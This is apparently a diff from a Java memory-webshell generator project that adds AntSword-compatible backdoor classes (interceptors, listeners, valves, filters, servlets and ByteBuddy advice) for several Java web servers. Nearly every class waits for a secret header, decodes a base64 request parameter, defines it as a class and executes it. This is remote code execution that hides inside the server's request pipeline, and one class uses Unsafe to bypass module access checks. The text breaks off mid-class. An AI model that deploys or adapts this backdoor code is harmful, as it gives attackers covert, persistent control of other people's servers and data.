||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public AntSwordInterceptor() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
|
||||
}
|
||||
}
|
||||
+62
@@ -0,0 +1,62 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordServletAdvisor {
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response,
|
||||
@Advice.Origin Class<?> targetClazz
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
package com.reajason.javaweb.memshell.apusic.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package com.reajason.javaweb.memshell.bes.antsword;
|
||||
|
||||
import com.bes.enterprise.webtier.Valve;
|
||||
import com.bes.enterprise.webtier.connector.Request;
|
||||
import com.bes.enterprise.webtier.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordValve extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public AntSwordValve() {
|
||||
}
|
||||
|
||||
public AntSwordValve(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
package com.reajason.javaweb.memshell.glassfish.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
} catch (Exception ee) {
|
||||
// glassfish7
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
|
||||
}
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
package com.reajason.javaweb.memshell.jetty.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object response
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
package com.reajason.javaweb.memshell.jetty.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+94
@@ -0,0 +1,94 @@
|
||||
package com.reajason.javaweb.memshell.resin.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
response = (HttpServletResponse) getFieldValue(request, "_response");
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordFilter extends ClassLoader implements Filter {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordFilter() {
|
||||
}
|
||||
|
||||
public AntSwordFilter(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordFilterChainAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+85
@@ -0,0 +1,85 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordServlet extends ClassLoader implements Servlet {
|
||||
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) req;
|
||||
HttpServletResponse response = (HttpServletResponse) res;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getServletInfo() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
|
||||
public AntSwordServlet() {
|
||||
}
|
||||
|
||||
public AntSwordServlet(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
